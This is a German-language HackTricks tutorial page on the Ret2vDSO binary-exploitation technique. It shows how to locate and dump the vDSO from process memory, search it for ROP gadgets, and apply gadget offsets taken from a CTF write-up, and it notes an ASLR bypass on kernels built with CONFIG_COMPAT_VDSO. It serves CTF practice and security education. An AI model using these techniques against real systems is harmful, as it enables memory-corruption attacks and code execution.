Ret2vDSO
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Es kann gadgets in the vDSO region geben, die ein kleines ELF DSO sind, das vom kernel gemappt wird, um schnelle user-space Implementierungen einiger kernel helpers bereitzustellen. Bei dieser Art von Challenges wird üblicherweise ein kernel image bereitgestellt, um die vDSO region zu dumpen.
Auffinden der vDSO-Basis und Exporte
Die vDSO-Basisadresse wird im auxiliary vector als AT_SYSINFO_EHDR übergeben, daher können Sie, wenn Sie /proc/<pid>/auxv lesen können (oder getauxval in einem Helper-Prozess aufrufen), die Basis wiederherstellen, ohne auf einen memory leak angewiesen zu sein. Siehe Auxiliary Vector (auxv) and vDSO für praktische Wege, diese zu erhalten.
Sobald Sie die Basis haben, behandeln Sie die vDSO wie eine normale ELF DSO (linux-vdso.so.1): dumpen Sie das Mapping und verwenden Sie readelf -Ws/objdump -d (oder den kernel reference parser tools/testing/selftests/vDSO/parse_vdso.c), um exportierte Symbole aufzulösen und nach gadgets zu suchen. Auf x86 32-bit exportiert die vDSO häufig __kernel_vsyscall, __kernel_sigreturn und __kernel_rt_sigreturn; auf x86_64 gehören zu den typischen Exporten __vdso_clock_gettime, __vdso_gettimeofday und __vdso_time. Da die vDSO Symbolversionierung verwendet, achten Sie darauf, die erwartete Version beim Auflösen der Symbole zu berücksichtigen.
Dem Beispiel von https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/ folgend, sieht man, wie man die vdso section dumpen und mit folgendem auf den Host verschieben konnte:
# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317 /target
08049000-0804a000 r-xp 00001000 00:02 317 /target
0804a000-0804b000 rw-p 00002000 00:02 317 /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0 [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0 [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s
# Compress and leak it
gzip vdso
base64 vdso.gz
# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
ROP gadgets gefunden:
vdso_addr = 0xf7ffc000
int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800
# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a
# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca
# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
Caution
Beachte daher, wie es möglich sein könnte, bypass ASLR abusing the vdso, wenn der Kernel mit CONFIG_COMPAT_VDSO kompiliert ist, da die vdso-Adresse nicht randomisiert wird: https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639
ARM64
Nach dem Dumpen und Überprüfen des vdso-Abschnitts einer binary in kali 2023.2 arm64 konnte ich dort kein interessantes gadget finden (keine Möglichkeit, registers anhand von Werten im stack zu kontrollieren oder x30 für einen ret zu kontrollieren) außer der Möglichkeit, einen SROP aufzurufen. Mehr Infos im Beispiel auf der Seite:
Referenzen
- https://man7.org/linux/man-pages/man7/vdso.7.html
- https://www.kernel.org/doc/Documentation/ABI/stable/vdso
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


